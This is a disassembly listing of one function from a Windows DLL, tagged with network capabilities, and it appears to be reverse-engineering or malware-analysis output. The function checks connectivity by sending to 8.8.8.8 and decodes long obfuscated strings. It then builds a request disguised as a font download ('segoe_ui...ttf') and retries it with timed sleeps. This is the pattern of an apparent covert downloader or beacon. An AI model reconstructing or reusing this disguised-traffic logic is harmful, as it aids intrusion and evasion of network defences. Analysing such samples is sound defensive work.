Function at 0x1800084d0
Capabilities:
Initialize winsock library
Reference google public dns server
Send data
Send data on socket

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x308]
sub rsp, 0x3e0
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
mov rax, qword [0x180048040]
xor rax, rsp
mov qword [rbp + 0x290], rax
mov rsi, rcx
mov qword [rsp + 0x58], rcx
mov qword [rbp + 0x20], rcx
xor r13d, r13d
mov r14d, r13d
mov dword [rsp + 0x50], r13d
mov ecx, 0x202
lea rdx, [rbp + 0xf0]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x18000855f
lea rdx, str.Failed_to_initialize_Winsock
call fcn.18000d3c0
mov rcx, rax
call fcn.18000d6a0
jmp 0x18000864f
xor r8d, r8d
mov ebx, 2
mov edx, ebx
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_socket]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x1800085ab
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ebx, eax
lea rdx, str.Socket_creation_failed._Error_code:
call fcn.18000d3c0
mov rcx, rax
mov edx, ebx
call fcn.18000aaf0
mov rcx, rax
call fcn.18000d6a0
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x18000864f
mov word [rbp + 0xa0], bx
mov ecx, 0x35
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp + 0xa2], ax
lea r8, [rbp + 0xa4]
lea rdx, str.8.8.8.8
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_InetPtonW]
test eax, eax
jg 0x18000860b
lea rdx, str.Invalid_address:
call fcn.18000d3c0
mov rcx, rax
call fcn.18000a6e0
mov rcx, rax
call fcn.18000d6a0
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x18000864f
mov dword [rsp + 0x28], SafeArrayGetLBound
lea rax, [rbp + 0xa0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
lea r8d, [r9 + 5]
lea rdx, str.Hello
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_sendto]
mov ebx, eax
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
test ebx, ebx
js 0x1800095bd
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x88], xmm0
mov qword [rbp + 0x98], rax
movups xmmword [rbp - 0x40], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x30], xmm1
mov r8d, 0x1c4
lea rdx, str.T2UEpgoBFw6HXoZ87FKIgOqfrPyZeaVSk4DIgNm9VRPw7TSVESbQzZo0rpAGJyh5TtY3EAm7TyPPdYBsAvw4Ps8eDeSxQ1gVobynopEibx12sMGmv2NLmYkZ432bjHrxSnhenlbOsgMhz0iFV3gyIH5U61uex3fhigEBhNROynlAWNgO_4WVFo5OPQwuWSiaaAq5qTdAbvASoOxa1Tvj5Vhpc2iBr432sX4mQ4HM3dWaH9pIjCJwZkd4wLX_AJzy2KTTNrIriL9SAFA4XcmcYruF9QcnC7CbakT21aq4TnEc_apMj4OGMm_nhjO2aVNtbc5udvJC5jh6qzvAb1CxHm45zktRfOYyYPzvU7jMhNMuV4Qxr1BM6Beh0Kph1k6M1P07Ic_8UjOfez26wtjQZLh0AY1vOctkDXvoYg7nc68nvj9riKlNRqit6louqg
lea rcx, [rbp - 0x40]
call fcn.18000e160
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x10], xmm1
mov r8d, 0x1c4
lea rdx, str._CPNGXa3g1gm8hD3zsdW_bHs6gc9nZFgmIRX9rJh6Lq1C0eMHZt6ZnXyINIMBqwdtd3O8rmCQlts8c7z6hiYE5MJhQFDWUlZ1fbmZ4ouNC1U1qV7V0u3wU9_wQ01EnqaV_bc7kgIqGSp86yt2tzuEZuP3_fxB2YUQ1_UtUucaMuh7rXwNlLs0yAGZ9rQj1IeEVJBDn1ZGAyqNNATJ9j3wjFziFW9E9HpGlB7GHqQZXB2KfGkmvX96jpOhbd8biPSapasDylFxPEWWQPyFicjOp7JZIyV1GXhjIvKbDoiPvo2kqyP250btCf4qcB4fRrAIewfSzknMEUglxRGU2zj7C7GjnG71r5UHNUbGfvbVBOCAiICe8pqnHSHCnkkimz6x_wxbZ5dqZ_THglM5s_gqS4os0YgjsidWlNte5CFzQOFGPNQ8L311So8wxQ
lea rcx, [rbp - 0x20]
call fcn.18000e160
nop
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x10], xmm1
mov r8d, 0x1c4
lea rdx, str.YfWkOQNMHaJp67Zf_QTaaM0wvGYLwDlzboiNxMVDCfDkqQt_Lio9cWoGDwubayJ8RUg_92ttM57zv9RSt2TaNsBl6fdDuHklzuaZV7rjmTA8OvxwpSd0IB3x6I5BAhVyaHEuc8TwlHOgDzAtnSJbM6EVNjwa_qLb6GvCtOXJKGZgBJLqUDsOGg4v9kimGUdsElXhd6Fl8LupeZEYXdXUu1HEdiTFi2juxRIvf3t2h2VIlFsfnob32vUQusL14F_BblFO70yqjP2vns1mcpTi3PuQfE6wPjyx1lk9_VZLv4kZcxXEsaU_StCQJmjwb8RUkA2YM8zlIUqlVRGPWrPMJLpQ05tjcRq3MxCAInOUM26fc1Pu50AlIfLwf5ruUnejtmwBhHdihVkKPF0cjMMH4ZglrkYuiR3u9gKXiYa49Gjh_IFRnSD8wWFg
lea rcx, [rbp]
call fcn.18000e160
nop
lea rax, [rbp - 0x40]
mov qword [rbp + 0xa0], rax
lea rax, [rbp + 0x20]
mov qword [rbp + 0xa8], rax
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x88]
call fcn.18000a5a0
nop
lea r9, [fcn.18000afb0]
mov edx, 0x20
lea r8d, [rdx - 0x1d]
lea rcx, [rbp - 0x40]
call fcn.180012e40
mov rax, qword [rbp + 0x88]
mov qword [rbp - 0x80], rax
mov rcx, qword [rbp + 0x90]
mov qword [rbp - 0x50], rcx
cmp rax, rcx
je 0x18000955c
mov r12d, SafeArrayPutElement
movabs r15, 0x8000000000000000
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.18000b1b0
mov rdx, rax
lea rcx, [rbp + 0x28]
call fcn.180004050
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xb0], xmm0
mov qword [rbp + 0xc0], r13
mov qword [rbp + 0xc8], r13
mov r8d, 0x100
cmp qword [rbp + 0x38], r8
cmovb r8, qword [rbp + 0x38]
lea rdx, [rbp + 0x28]
cmp qword [rbp + 0x40], 0xf
cmova rdx, qword [rbp + 0x28]
lea rcx, [rbp + 0xb0]
call fcn.18000e160
or r14d, 1
mov dword [rsp + 0x50], r14d
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
mov qword [rbp + 0xe0], r13
mov qword [rbp + 0xe8], r13
mov rax, qword [rbp + 0x38]
cmp rax, 0x100
jb 0x180009854
add rax, 0xffffffffffffff00
mov r8d, 1
cmp rax, r8
cmovb r8, rax
lea rdx, [rbp + 0x28]
cmp qword [rbp + 0x40], 0xf
cmova rdx, qword [rbp + 0x28]
add rdx, 0x100
lea rcx, [rbp + 0xd0]
call fcn.18000e160
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], r13
mov rax, qword [rbp + 0x38]
cmp rax, 0x101
jb 0x1800098de
add rax, 0xfffffffffffffeff
mov r8, 0xffffffffffffffff
cmp rax, r8
cmovb r8, rax
lea rdx, [rbp + 0x28]
cmp qword [rbp + 0x40], 0xf
cmova rdx, qword [rbp + 0x28]
add rdx, 0x101
lea rcx, [rsp + 0x30]
call fcn.18000e160
mov rdx, qword [rbp + 0x40]
cmp rdx, 0xf
jbe 0x180008893
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000888e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800098a2
call fcn.180012dd0
movups xmm1, xmmword [rsp + 0x30]
movups xmmword [rbp + 0x28], xmm1
movups xmm2, xmmword [rsp + 0x40]
movups xmmword [rbp + 0x38], xmm2
lea rax, [rsp + 0x60]
mov qword [rbp - 0x78], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], r13
lea rsi, [rbp + 0x28]
movq rcx, xmm1
movdqa xmm0, xmm2
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0xf
cmova rsi, rcx
movq rdi, xmm2
movabs rax, 0x7fffffffffffffff
cmp rdi, rax
ja 0x1800098d8
mov qword [rsp + 0x78], SafeArrayGetLBound
cmp rdi, 0xf
ja 0x180008918
mov qword [rsp + 0x70], rdi
movups xmm0, xmmword [rsi]
movups xmmword [rsp + 0x60], xmm0
jmp 0x1800089a8
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
jbe 0x18000892d
mov rbx, rax
lea rax, [r15 + 0x27]
jmp 0x18000894f
cmp rbx, 0x16
cmovb rbx, r12
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x180008971
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x18000986c
mov rcx, rax
call fcn.180012e04
mov rcx, rax
test rax, rax
je 0x180009866
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x180008980
test rcx, rcx
je 0x18000897d
call fcn.180012e04
jmp 0x180008980
mov rax, r13
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], rbx
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call fcn.180032950
movabs rax, 0x7fffffffffffffff
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], r13
lea r14, [rbp + 0xb0]
mov r15, qword [rbp + 0xc8]
cmp r15, 0xf
seta r12b
mov rsi, qword [rbp + 0xb0]
cmova r14, rsi
mov rdi, qword [rbp + 0xc0]
cmp rdi, rax
ja 0x1800098d2
mov qword [rsp + 0x48], SafeArrayGetLBound
cmp rdi, 0xf
ja 0x180008a0d
mov qword [rsp + 0x40], rdi
movups xmm0, xmmword [r14]
movups xmmword [rsp + 0x30], xmm0
jmp 0x180008aa3
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
jbe 0x180008a2c
mov rbx, rax
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x180008a53
cmp rbx, 0x16
mov eax, SafeArrayPutElement
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x180008a75
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x180009872
mov rcx, rax
call fcn.180012e04
mov rcx, rax
test rax, rax
je 0x180009878
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x180008a84
test rcx, rcx
je 0x180008a81
call fcn.180012e04
jmp 0x180008a84
mov rax, r13
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], rbx
lea r8, [rdi + 1]
mov rdx, r14
mov rcx, rax
call fcn.180032950
nop
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x70]
call fcn.180005fa0
mov rbx, rax
lea rax, [rbp + 0x28]
cmp rax, rbx
je 0x180008b2b
mov rdx, qword [rbp + 0x40]
cmp rdx, 0xf
jbe 0x180008afd
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008af8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180009878
call fcn.180012dd0
mov qword [rbp + 0x38], r13
mov qword [rbp + 0x40], SafeArrayGetLBound
mov byte [rbp + 0x28], 0
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0x28], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0x38], xmm1
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], SafeArrayGetLBound
mov byte [rbx], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x180008b66
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008b61
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180009878
call fcn.180012dd0
lea rcx, [rsp + 0x30]
call fcn.180005630
nop
mov r9d, 0x38
lea r8, str._static_fonts_segoe_ui_west_european_light_latest.ttf_t
mov rcx, rax
call fcn.18000fd20
xorps xmm0, xmm0
movups xmmword [rbp + 0x68], xmm0
mov qword [rbp + 0x78], r13
mov qword [rbp + 0x80], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x78], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], SafeArrayGetLBound
mov byte [rax], 0
mov r14d, dword [rsp + 0x50]
or r14d, 0xe
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x180008bfc
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008bf7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000987e
call fcn.180012dd0
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], SafeArrayGetLBound
mov byte [rsp + 0x30], 0
lea rax, [rbp + 0x68]
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x28]
lea rcx, [rbp + 0x48]
call fcn.180001eb0
nop
mov rax, qword [rbp + 0x58]
cmp rax, 0x101
jae 0x180008d90
mov rdx, qword [rbp + 0x60]
cmp rdx, 0xf
jbe 0x180008c71
inc rdx
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008c6c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000989c
call fcn.180012dd0
mov qword [rbp + 0x58], r13
mov qword [rbp + 0x60], SafeArrayGetLBound
mov byte [rbp + 0x48], 0
mov rdx, qword [rbp + 0x80]
cmp rdx, 0xf
jbe 0x180008cbf
inc rdx
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008cba
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800098a2
call fcn.180012dd0
mov qword [rbp + 0x78], r13
mov qword [rbp + 0x80], SafeArrayGetLBound
mov byte [rbp + 0x68], 0
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0xf
jbe 0x180008d14
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008d0e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800098a8
call fcn.180012dd0
nop
test r12b, r12b
je 0x180008d4b
lea rdx, [r15 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x180008d42
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800098ae
mov rcx, rsi
call fcn.180012dd0
nop
mov rdx, qword [rbp + 0x40]
cmp rdx, 0xf
jbe 0x180008d86
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008d81
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800098b4
call fcn.180012dd0
mov rsi, qword [rsp + 0x58]
jmp 0x180009538
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], r13
mov r8d, 0x100
cmp rax, r8
cmovb r8, rax
lea rdx, [rbp + 0x48]
cmp qword [rbp + 0x60], 0xf
cmova rdx, qword [rbp + 0x48]
lea rcx, [rsp + 0x30]
call fcn.18000e160
test r12b, r12b
je 0x180008dfd
lea rdx, [r15 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x180008df5
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180009884
mov rcx, rsi
call fcn.180012dd0
movups xmm9, xmmword [rsp + 0x30]
movups xmmword [rbp + 0xb0], xmm9
movups xmm8, xmmword [rsp + 0x40]
movups xmmword [rbp + 0xc0], xmm8
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], r13
mov rax, qword [rbp + 0x58]
cmp rax, 0x100
jb 0x1800098cc
add rax, 0xffffffffffffff00
mov r8d, 1
cmp rax, r8
cmovb r8, rax
lea rdx, [rbp + 0x48]
cmp qword [rbp + 0x60], 0xf
cmova rdx, qword [rbp + 0x48]
add rdx, 0x100
lea rcx, [rsp + 0x30]
call fcn.18000e160
or r14d, 0x30
mov dword [rsp + 0x50], r14d
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0xf
jbe 0x180008eb7
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008eb2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180009884
call fcn.180012dd0
movups xmm6, xmmword [rsp + 0x30]
movups xmmword [rbp + 0xd0], xmm6
movups xmm7, xmmword [rsp + 0x40]
movups xmmword [rbp + 0xe0], xmm7
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], r13
mov r8d, 1
lea rdx, [0x180040b54]
lea rcx, [rsp + 0x30]
call fcn.18000e160
lea rdx, [rsp + 0x30]
mov rsi, qword [rsp + 0x48]
cmp rsi, 0xf
seta r14b
mov rbx, qword [rsp + 0x30]
cmova rdx, rbx
lea rcx, [rbp + 0xd0]
movdqa xmm0, xmm7
psrldq xmm0, 8
movq r13, xmm0
cmp r13, 0xf
seta r12b
movq r15, xmm6
cmova rcx, r15
movq r8, xmm7
cmp r8, qword [rsp + 0x40]
jne 0x180008f53
call fcn.180033430
test eax, eax
jne 0x180008f53
xor dil, dil
jmp 0x180008f56
mov dil, 1
test r14b, r14b
je 0x180008f8c
lea rdx, [rsi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x180008f84
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180009884
mov rcx, rbx
call fcn.180012dd0
test dil, dil
je 0x1800090f7
mov rdx, qword [rbp + 0x60]
cmp rdx, 0xf
jbe 0x180008fd0
inc rdx
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008fcb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000989c
call fcn.180012dd0
xor ebx, ebx
mov qword [rbp + 0x58], rbx
mov qword [rbp + 0x60], SafeArrayGetLBound
mov byte [rbp + 0x48], bl
mov rdx, qword [rbp + 0x80]
cmp rdx, 0xf
jbe 0x18000901f
inc rdx
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000901a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800098a2
call fcn.180012dd0
mov qword [rbp + 0x78], rbx
mov qword [rbp + 0x80], SafeArrayGetLBound
mov byte [rbp + 0x68], 0
test r12b, r12b
je 0x180009069
lea rdx, [r13 + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x180009060
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800098a8
mov rcx, r15
call fcn.180012dd0
nop
psrldq xmm8, 8
movq rdx, xmm8
cmp rdx, 0xf
jbe 0x1800090ad
inc rdx
movq rcx, xmm9
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800090a7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800098ae
call fcn.180012dd0
nop
mov rdx, qword [rbp + 0x40]
cmp rdx, 0xf
jbe 0x1800090e8
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800090e3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800098b4
call fcn.180012dd0
mov rsi, qword [rsp + 0x58]
mov r14d, dword [rsp + 0x50]
jmp 0x180009535
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xor ebx, ebx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rbx
mov rax, qword [rbp + 0x58]
cmp rax, 0x101
jb 0x1800098cc
add rax, 0xfffffffffffffeff
mov r8, 0xffffffffffffffff
cmp rax, r8
cmovb r8, rax
lea rdx, [rbp + 0x48]
cmp qword [rbp + 0x60], 0xf
cmova rdx, qword [rbp + 0x48]
add rdx, 0x101
lea rcx, [rsp + 0x30]
call fcn.18000e160
mov r14d, dword [rsp + 0x50]
or r14d, 0x40
mov rdx, qword [rbp + 0x60]
cmp rdx, 0xf
jbe 0x180009192
inc rdx
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000918d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180009884
call fcn.180012dd0
movups xmm1, xmmword [rsp + 0x30]
movups xmmword [rbp + 0x48], xmm1
movups xmm2, xmmword [rsp + 0x40]
movups xmmword [rbp + 0x58], xmm2
lea rax, [rsp + 0x30]
mov qword [rbp + 0xa0], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rbx
lea rsi, [rbp + 0x48]
movq rcx, xmm1
movdqa xmm0, xmm2
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0xf
cmova rsi, rcx
movq rdi, xmm2
movabs rcx, 0x7fffffffffffffff
cmp rdi, rcx
ja 0x1800098c6
mov qword [rsp + 0x48], SafeArrayGetLBound
cmp rdi, 0xf
ja 0x18000921a
mov qword [rsp + 0x40], rdi
movups xmm0, xmmword [rsi]
movups xmmword [rsp + 0x30], xmm0
jmp 0x1800092af
mov rbx, rdi
or rbx, 0xf
cmp rbx, rcx
jbe 0x180009239
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x180009260
cmp rbx, 0x16
mov eax, SafeArrayPutElement
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x180009282
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x180009890
mov rcx, rax
call fcn.180012e04
mov rcx, rax
test rax, rax
je 0x18000988a
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x180009290
test rcx, rcx
je 0x18000928e
call fcn.180012e04
jmp 0x180009290
xor eax, eax
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], rbx
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call fcn.180032950
nop
lea rdx, [rbp + 0xb0]
lea rcx, [rsp + 0x60]
call fcn.18000b1b0
nop
lea r8, [rsp + 0x30]
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.180005fa0
mov rbx, rax
lea rax, [rbp + 0x28]
cmp rax, rbx
je 0x180009347
mov rdx, qword [rbp + 0x40]
cmp rdx, 0xf
jbe 0x180009319
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180009314
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180009896
call fcn.180012dd0
xor eax, eax
mov qword [rbp + 0x38], rax
mov qword [rbp + 0x40], SafeArrayGetLBound
mov byte [rbp + 0x28], al
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0x28], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0x38], xmm1
mov qword [rbx + 0x10], rax
mov qword [rbx + 0x18], SafeArrayGetLBound
mov byte [rbx], al
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x180009382
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000937d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180009896
call fcn.180012dd0
mov edi, 1
mov rsi, qword [rsp + 0x58]
nop dword [rax]
lea rax, [rbp - 0x70]
mov qword [rbp + 0xa0], rax
mov rdx, rsi
lea rcx, [rbp - 0x70]
call fcn.18000b1b0
mov rbx, rax
lea rdx, [rbp + 0x28]
lea rcx, [rsp + 0x30]
call fcn.18000b1b0
nop
mov r8d, 1
mov rdx, rbx
mov rcx, rax
call fcn.180006350
test eax, eax
jne 0x18000964a
mov ecx, 0xea60
call qword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, 3
jle 0x180009390
mov rdx, qword [rbp + 0x60]
cmp rdx, 0xf
jbe 0x18000941f
inc rdx
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000941a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000989c
call fcn.180012dd0
xor ebx, ebx
mov qword [rbp + 0x58], rbx
mov qword [rbp + 0x60], SafeArrayGetLBound
mov byte [rbp + 0x48], bl
mov rdx, qword [rbp + 0x80]
cmp rdx, 0xf
jbe 0x18000946e
inc rdx
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180009469
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800098a2
call fcn.180012dd0
mov qword [rbp + 0x78], rbx
mov qword [rbp + 0x80], SafeArrayGetLBound
mov byte [rbp + 0x68], 0
test r12b, r12b
je 0x1800094b8
lea rdx, [r13 + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x1800094af
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800098a8
mov rcx, r15
call fcn.180012dd0
nop
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0xf
jbe 0x1800094fa
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800094f4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800098ae
call fcn.180012dd0
nop
mov rdx, qword [rbp + 0x40]
cmp rdx, 0xf
jbe 0x180009535
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180009530
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800098b4
call fcn.180012dd0
xor r13d, r13d
mov rax, qword [rbp - 0x80]
add rax, 0x20
mov qword [rbp - 0x80], rax
cmp rax, qword [rbp - 0x50]
jne 0x180008733
mov rcx, qword [rbp + 0x90]
mov rax, qword [rbp + 0x88]
test rax, rax
je 0x1800095bd
mov rdx, rcx
mov rcx, rax
call fcn.18000eb00
mov rdx, qword [rbp + 0x98]
mov rcx, qword [rbp + 0x88]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800095a6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180009860
call fcn.180012dd0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x88], xmm0
mov qword [rbp + 0x98], r13
mov rdx, qword [rsi + 0x18]
cmp rdx, 0xf
jbe 0x1800095f7
inc rdx
mov rcx, qword [rsi]
cmp rdx, 0x1000
jb 0x1800095f2
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18000985a
mov rcx, r8
call fcn.180012dd0
mov qword [rsi + 0x10], r13
mov byte [rsi], 0
mov qword [rsi + 0x18], SafeArrayGetLBound
mov rcx, qword [rbp + 0x290]
